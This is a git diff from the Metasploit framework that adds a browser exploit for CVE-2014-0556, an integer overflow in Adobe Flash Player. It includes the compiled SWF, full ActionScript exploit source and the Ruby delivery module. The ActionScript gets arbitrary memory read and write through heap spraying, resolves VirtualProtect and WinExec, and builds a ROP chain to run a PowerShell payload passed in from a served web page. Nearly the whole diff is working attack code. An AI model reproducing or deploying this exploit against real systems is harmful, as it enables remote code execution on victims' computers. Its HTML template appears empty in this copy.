diff --git a/data/exploits/CVE-2014-0556/msf.swf b/data/exploits/CVE-2014-0556/msf.swf new file mode 100755 index 0000000000..24cfc1a53a Binary files /dev/null and b/data/exploits/CVE-2014-0556/msf.swf differ diff --git a/external/source/exploits/CVE-2014-0556/Main.as b/external/source/exploits/CVE-2014-0556/Main.as new file mode 100755 index 0000000000..99364ccd47 --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/Main.as @@ -0,0 +1,182 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Download the Flex SDK (4.6) +// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 4. Build with: mxmlc -o msf.swf Main.as + +// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/ +// Modified to be used from msf + +package +{ + import flash.display.Sprite + import flash.display.BitmapData + import flash.geom.Rectangle + import flash.utils.ByteArray + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Main extends Sprite + { + private var bv:Vector. = new Vector.(12800) + private var uv:Vector. = new Vector.(12800) + private var bd:BitmapData = new BitmapData(128, 16) + private var i:uint = 0 + + public function Main() + { + var b64:Base64Decoder = new Base64Decoder() + b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + var payload:String = b64.toByteArray().toString() + + for (i = 0; i < bv.length; i++) { + bv[i] = new ByteArray() + bv[i].length = 0x2000 + bv[i].position = 0xFFFFF000 + } + + for (i = 0; i < bv.length; i++) + if (i % 2 == 0) bv[i] = null + + for (i = 0; i < uv.length; i++) { + uv[i] = new Vector.(1022) + } + + bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401]) + + for (i = 0; ; i++) + if (uv[i].length == 0xffffffff) break + + for (var i2:uint = 1; i2 < uv.length; i2++) { + if (i == i2) continue + uv[i2] = new Vector.(1014) + uv[i2][0] = bv[6401] + uv[i2][1] = this + } + + uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000 + bv[6401].endian = "littleEndian" + bv[6401].length = 0x500000 + var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000 + var main:uint = uv[i][0xfffffc09] - 1 + var vtable:uint = vector_read(main) + vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff) + byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8)) + byte_write(uv[i][0]) + + var flash:uint = base(vtable) + var winmm:uint = module("winmm.dll", flash) + var kernel32:uint = module("kernel32.dll", winmm) + var virtualprotect:uint = procedure("VirtualProtect", kernel32) + var winexec:uint = procedure("WinExec", kernel32) + var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) + + byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable + byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main + byte_write(0, "\x89\x03", false) // mov [ebx], eax + byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + byte_write(buffer + 0x100, payload, true) + byte_write(buffer + 0x20070, xchgeaxespret) + byte_write(buffer + 0x20000, xchgeaxesiret) + byte_write(0, virtualprotect) + + // VirtualProtect + byte_write(0, winexec) + byte_write(0, buffer + 0x30000) + byte_write(0, 0x1000) + byte_write(0, 0x40) + byte_write(0, buffer + 0x80) + + // WinExec + byte_write(0, buffer + 0x30000) + byte_write(0, buffer + 0x100) + byte_write(0) + + byte_write(main, buffer + 0x20000) + this.toString() + } + + private function vector_write(addr:uint, value:uint = 0):void + { + addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value + } + + private function vector_read(addr:uint):uint + { + return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] + } + + private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) bv[6401].position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i)) + if (zero) bv[6401].writeByte(0) + } else bv[6401].writeUnsignedInt(value) + } + + private function byte_read(addr:uint, type:String = "dword"):uint + { + bv[6401].position = addr + switch(type) { + case "dword": + return bv[6401].readUnsignedInt() + case "word": + return bv[6401].readUnsignedShort() + case "byte": + return bv[6401].readUnsignedByte() + } + return 0 + } + + private function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (byte_read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + private function module(name:String, addr:uint):uint + { + var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 + while (true) { + var entry:uint = byte_read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + bv[6401].position = addr + entry + if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break + } + return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) + } + + private function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) + var numberOfNames:uint = byte_read(eat + 0x18) + var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) + var addressOfNames:uint = addr + byte_read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) + for (var i:uint = 0; ; i++) { + var entry:uint = byte_read(addressOfNames + i * 4) + bv[6401].position = addr + entry + if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break + } + return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + private function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break + return addr + i + } + } +} diff --git a/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb new file mode 100644 index 0000000000..668fecead7 --- /dev/null +++ b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb @@ -0,0 +1,110 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player copyPixelsToByteArray Integer Overflow', + 'Description' => %q{ + This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs + in the copyPixelsToByteArray method from the BitmapData object. The position field of the + destination ByteArray can be used to cause an integer overflow and write contents out of + the ByteArray buffer. This module has been tested successfully on Windows 7 SP1 (32-bit), + IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145 and 14.0.0.125. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Chris Evans', # Vulnerability discovery and 64 bit analysis / exploit + 'Nicolas Joly', # Trigger for 32 bit, according to the project zero ticket + 'hdarwin', # @hdarwin89, 32 bit public exploit, this msf module uses it + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2014-0556'], + ['URL', 'http://googleprojectzero.blogspot.com/2014/09/exploiting-cve-2014-0556-in-flash.html'], + ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=46'], + ['URL', 'http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/'], + ['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0556-adobe-flash-player.html'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-21.html'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + :os_name => OperatingSystems::Match::WINDOWS_7, + :ua_name => Msf::HttpClients::IE, + :flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.176') }, + :arch => ARCH_X86 + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Sep 23 2014', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) + b64_payload = Rex::Text.encode_base64(psh_payload) + + html_template = %Q| + + + + + + + + + + + | + + return html_template, binding() + end + + def create_swf + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0556', 'msf.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end